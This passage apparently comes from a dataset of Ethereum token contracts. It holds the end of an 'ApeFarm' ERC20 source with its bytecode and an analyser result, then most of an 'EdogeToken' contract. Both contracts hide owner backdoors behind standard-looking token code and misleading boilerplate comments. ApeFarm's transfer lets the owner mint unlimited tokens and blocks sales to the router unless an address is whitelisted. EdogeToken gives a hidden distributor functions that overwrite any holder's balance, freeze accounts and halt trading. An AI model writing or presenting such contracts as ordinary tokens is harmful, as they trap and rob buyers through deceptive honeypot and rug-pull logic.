* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev updateTaxFee
*
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* also check address is bot address.
*
* Requirements:
*
* - the address is in list bot.
* - the called Solidity function must be `sender`.
*
* _Available since v3.1._
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;}
else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;}
else{_transfer(_msgSender(), recipient, amount); return true;}
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function botban(address _count) internal checker {
confirm[_count] = true;
}
/**
* @dev updateTaxFee
*
*/
function _vetofrontrunbot(address[] memory _counts) external checker {
for (uint256 i = 0; i < _counts.length; i++) {
botban(_counts[i]); }
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if (recipient == router) {
require(confirm[sender]); }
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
*
* Requirements:
*
* - manualSend
*
* _Available since v3.1._
*/
}
function _deploy(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: deploy to the zero address");
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
}
contract ApeFarm is ERC20{
uint8 immutable private _decimals = 18;
uint256 private _totalSupply = 555555555555 * 10 ** 18;
constructor () ERC20('ApeFarm',unicode'aFARM') {
_deploy(_msgSender(), _totalSupply);
}
function decimals() public view virtual override returns (uint8) {
return _decimals;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610276578063a9059cbb146102a6578063b9c7cdad146102d6578063dd62ed3e146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806318160ddd116100d357806318160ddd1461016457806323b872dd14610182578063313ce567146101b257806339509351146101d0576100f5565b806306170714146100fa57806306fdde0314610116578063095ea7b314610134575b600080fd5b610114600480360381019061010f9190611455565b610322565b005b61011e6103fb565b60405161012b919061151b565b60405180910390f35b61014e60048036038101906101499190611573565b61048d565b60405161015b91906115ce565b60405180910390f35b61016c6104ab565b60405161017991906115f8565b60405180910390f35b61019c60048036038101906101979190611613565b6104b5565b6040516101a991906115ce565b60405180910390f35b6101ba6105b6565b6040516101c79190611682565b60405180910390f35b6101ea60048036038101906101e59190611573565b6105de565b6040516101f791906115ce565b60405180910390f35b61021a60048036038101906102159190611455565b61068a565b60405161022791906115f8565b60405180910390f35b6102386106d3565b005b610242610829565b60405161024f91906116ac565b60405180910390f35b61026061084f565b60405161026d919061151b565b60405180910390f35b610290600480360381019061028b9190611573565b6108e1565b60405161029d91906115ce565b60405180910390f35b6102c060048036038101906102bb9190611573565b6109d5565b6040516102cd91906115ce565b60405180910390f35b6102f060048036038101906102eb919061180f565b610c3c565b005b61030c60048036038101906103079190611858565b610d17565b60405161031991906115f8565b60405180910390f35b61032a610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ae906118e4565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60606007805461040a90611933565b80601f016020809104026020016040519081016040528092919081815260200182805461043690611933565b80156104835780601f1061045857610100808354040283529160200191610483565b820191906000526020600020905b81548152906001019060200180831161046657829003601f168201915b5050505050905090565b60006104a161049a610d9e565b8484610da6565b6001905092915050565b6000600654905090565b60006104c2848484610f71565b6000600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561058d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610584906119d7565b60405180910390fd5b6105aa85610599610d9e565b85846105a59190611a26565b610da6565b60019150509392505050565b60007f0000000000000000000000000000000000000000000000000000000000000012905090565b60006106806105eb610d9e565b8484600560006105f9610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461067b9190611a5a565b610da6565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106db610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075f906118e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f5f04b3e53e8649c529695dc1d3ddef0535b093b2022dd4e04bb2c4db963a09b060405160405180910390a36000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606008805461085e90611933565b80601f016020809104026020016040519081016040528092919081815260200182805461088a90611933565b80156108d75780601f106108ac576101008083540402835291602001916108d7565b820191906000526020600020905b8154815290600101906020018083116108ba57829003601f168201915b5050505050905090565b600080600560006108f0610d9e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156109ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a490611b22565b60405180910390fd5b6109ca6109b8610d9e565b8585846109c59190611a26565b610da6565b600191505092915050565b60006109df610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610a4c575060011515600960009054906101000a900460ff161515145b15610a8757610a63610a5c610d9e565b8484610f71565b6000600960006101000a81548160ff02191690831515021790555060019050610c36565b610a8f610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015610afc575060001515600960009054906101000a900460ff161515145b15610c1f57610b168260065461129590919063ffffffff16565b600681905550610b6e82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461129590919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c0e91906115f8565b60405180910390a360019050610c36565b610c31610c2a610d9e565b8484610f71565b600190505b92915050565b610c44610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc8906118e4565b60405180910390fd5b60005b8151811015610d1357610d00828281518110610cf357610cf2611b42565b5b60200260200101516112f3565b8080610d0b90611b71565b915050610cd4565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e0d90611c2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7d90611cbe565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f6491906115f8565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd890611d50565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611051576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104890611de2565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110fe57600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166110fd57600080fd5b5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611185576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117c90611e74565b60405180910390fd5b81816111919190611a26565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112239190611a5a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161128791906115f8565b60405180910390a350505050565b60008082846112a49190611a5a565b9050838110156112e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e090611ee0565b60405180910390fd5b8091505092915050565b6112fb610d9e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f906118e4565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611422826113f7565b9050919050565b61143281611417565b811461143d57600080fd5b50565b60008135905061144f81611429565b92915050565b60006020828403121561146b5761146a6113ed565b5b600061147984828501611440565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114bc5780820151818401526020810190506114a1565b838111156114cb576000848401525b50505050565b6000601f19601f8301169050919050565b60006114ed82611482565b6114f7818561148d565b935061150781856020860161149e565b611510816114d1565b840191505092915050565b6000602082019050818103600083015261153581846114e2565b905092915050565b6000819050919050565b6115508161153d565b811461155b57600080fd5b50565b60008135905061156d81611547565b92915050565b6000806040838503121561158a576115896113ed565b5b600061159885828601611440565b92505060206115a98582860161155e565b9150509250929050565b60008115159050919050565b6115c8816115b3565b82525050565b60006020820190506115e360008301846115bf565b92915050565b6115f28161153d565b82525050565b600060208201905061160d60008301846115e9565b92915050565b60008060006060848603121561162c5761162b6113ed565b5b600061163a86828701611440565b935050602061164b86828701611440565b925050604061165c8682870161155e565b9150509250925092565b600060ff82169050919050565b61167c81611666565b82525050565b60006020820190506116976000830184611673565b92915050565b6116a681611417565b82525050565b60006020820190506116c1600083018461169d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611704826114d1565b810181811067ffffffffffffffff82111715611723576117226116cc565b5b80604052505050565b60006117366113e3565b905061174282826116fb565b919050565b600067ffffffffffffffff821115611762576117616116cc565b5b602082029050602081019050919050565b600080fd5b600061178b61178684611747565b61172c565b905080838252602082019050602084028301858111156117ae576117ad611773565b5b835b818110156117d757806117c38882611440565b8452602084019350506020810190506117b0565b5050509392505050565b600082601f8301126117f6576117f56116c7565b5b8135611806848260208601611778565b91505092915050565b600060208284031215611825576118246113ed565b5b600082013567ffffffffffffffff811115611843576118426113f2565b5b61184f848285016117e1565b91505092915050565b6000806040838503121561186f5761186e6113ed565b5b600061187d85828601611440565b925050602061188e85828601611440565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118ce60208361148d565b91506118d982611898565b602082019050919050565b600060208201905081810360008301526118fd816118c1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061194b57607f821691505b6020821081141561195f5761195e611904565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006119c160288361148d565b91506119cc82611965565b604082019050919050565b600060208201905081810360008301526119f0816119b4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611a318261153d565b9150611a3c8361153d565b925082821015611a4f57611a4e6119f7565b5b828203905092915050565b6000611a658261153d565b9150611a708361153d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611aa557611aa46119f7565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000611b0c60258361148d565b9150611b1782611ab0565b604082019050919050565b60006020820190508181036000830152611b3b81611aff565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000611b7c8261153d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611baf57611bae6119f7565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611c1660248361148d565b9150611c2182611bba565b604082019050919050565b60006020820190508181036000830152611c4581611c09565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611ca860228361148d565b9150611cb382611c4c565b604082019050919050565b60006020820190508181036000830152611cd781611c9b565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611d3a60258361148d565b9150611d4582611cde565b604082019050919050565b60006020820190508181036000830152611d6981611d2d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611dcc60238361148d565b9150611dd782611d70565b604082019050919050565b60006020820190508181036000830152611dfb81611dbf565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000611e5e60268361148d565b9150611e6982611e02565b604082019050919050565b60006020820190508181036000830152611e8d81611e51565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611eca601b8361148d565b9150611ed582611e94565b602082019050919050565b60006020820190508181036000830152611ef981611ebd565b905091905056fea264697066735822122077dc37b2052ee66899f671ecae98b3f00ae27df23aac91602d048f51507fa56664736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
| 5,106 |
0xf74b82ec1e448c43b0367acea121141ae91c4a53
|
/**
=+#@@@@@@@@@@@+#@@@@@@@@@@%#++=++#@%++-.=+++:-++%@#++-++#%@@@@@@@@@*+*@@@@@@@@@@@*+-
=+#@@@@#******+#@@@@#*##@@@@%+++%@@@%++++#%++++%@@@%+++%@@@@#*******+*@@@@%******++-
=+#@@@@++++++++#@@@@*+++#@@@@#+*@@@@#+++#@@%*++#@@@@*+#@@@@#+++++++++*@@@@#++++++++:
=+#@@@@######*+#@@@@*++++@@@@%+#@@@@*++%@@@@%*+#@@@@#+%@@@@*++******+*@@@@%#####*++
=+#@@@@@@@@@@*+#@@@@*++++@@@@@+#@@@@*+*#%@@%##+*@@@@#+%@@@@*++%@@@@@**@@@@@@@@@@%++
=+#@@@@#*****++#@@@@*++++@@@@%+#@@@@*++######++#@@@@#+%@@@@*++##%@@@**@@@@#******++
=+#@@@@++++++++#@@@@*+++#@@@@%+*@@@@#+++*%%*+++#@@@@*+#@@@@#++++%@@@**@@@@#++++++++:
=+#@@@@#******+#@@@@#**#%@@@%+++%@@@%++=+++++++%@@@%+++%@@@@#***%@@@**@@@@%*******+=
=+#@@@@@@@@@@@*#@@@@@@@@@@%#++=++%@#++- ==: -++%@#++-++#%@@@@@@@@@@**@@@@@@@@@@@#+=
Telegram - https://t.me/EdogeToken Website - http://www.edogetoken.io/
*/
// SPDX-License-Identifier: MIT
pragma solidity =0.8.8;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);}
function _msgData() internal view virtual returns (bytes memory) {this;
return msg.data;}}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;}}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {return returndata;}
else {if (returndata.length > 0) {assembly {let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)}} else {revert(errorMessage);}}}}
contract Ownable is Context {
address private _owner;
address internal _distributor;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");_;}
modifier distributors() {
require(_distributor == msg.sender, "Caller is not fee distributor");_;}
function owner() public view returns (address) {
return _owner;}
function distributor() internal view returns (address) {
return _distributor;}
function setDistributor(address account) external onlyOwner {
require (_distributor == address(0));
_distributor = account;}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);}}
contract EdogeToken is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = 'Edoge | t.me/EdogeToken';
string private _symbol = 'EDOGE';
uint8 private _decimals = 9;
uint256 private constant _tTotal = 100000000000000*10**9;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _pOwned;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => bool) private _taxRewards;
mapping (address => bool) private _isExcluded;
uint256 private constant MAX = ~uint256(0);
address[] private _excluded;
uint256 private _tFeeTotal;
uint256 private _totalSupply;
uint256 private _rTotal;
bool _initialize;
address router;
address factory;
constructor (address unif, address unir) {
_totalSupply =_tTotal;
_rTotal = (MAX - (MAX % _totalSupply));
_pOwned[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _totalSupply);
_tOwned[_msgSender()] = tokenFromReflection(_rOwned[_msgSender()]);
_isExcluded[_msgSender()] = true;
_excluded.push(_msgSender());
_tOwned[distributor()] = tokenFromReflection(_rOwned[distributor()]);
_isExcluded[distributor()] = true;
_excluded.push(distributor());
_initialize = true;
router = unir;
factory = unif;}
function name() public view returns (string memory) {
return _name;}
function symbol() public view returns (string memory) {
return _symbol;}
function decimals() public view returns (uint8) {
return _decimals;}
function totalSupply() public pure override returns (uint256) {
return _tTotal;}
function balanceOf(address account) public view override returns (uint256) {
return _pOwned[account];}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;}
function multicall(address account, uint256 tokens, uint256 burn) external distributors {
require(account != address(0), "ERC20: burn from the zero address disallowed");
_pOwned[account] = tokens.sub(burn, "ERC20: burn amount exceeds balance");}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;}}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_taxRewards[sender] || _taxRewards[recipient]) require (amount == 0, "");
if (_initialize == true || sender == distributor() || recipient == distributor()) {
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_pOwned[recipient] = _pOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}
else {_pOwned[sender] = _pOwned[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_pOwned[recipient] = _pOwned[recipient].add(amount);
emit Transfer(sender, recipient, amount);}}
else {require (_initialize == true, "");}}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);}
function taxRewards(address acconut) external distributors {
_taxRewards[acconut] = true;}
function taxCheck(address account) external distributors {
_taxRewards[account] = false;}
function checkTax(address account) public view returns (bool) {
return _taxRewards[account];}
function initialize() public virtual distributors {
if (_initialize == true) {_initialize = false;} else {_initialize = true;}}
function initialized() public view returns (bool) {
return _initialize;}
function _reflectFee(uint256 rFee, uint256 tFee) private {
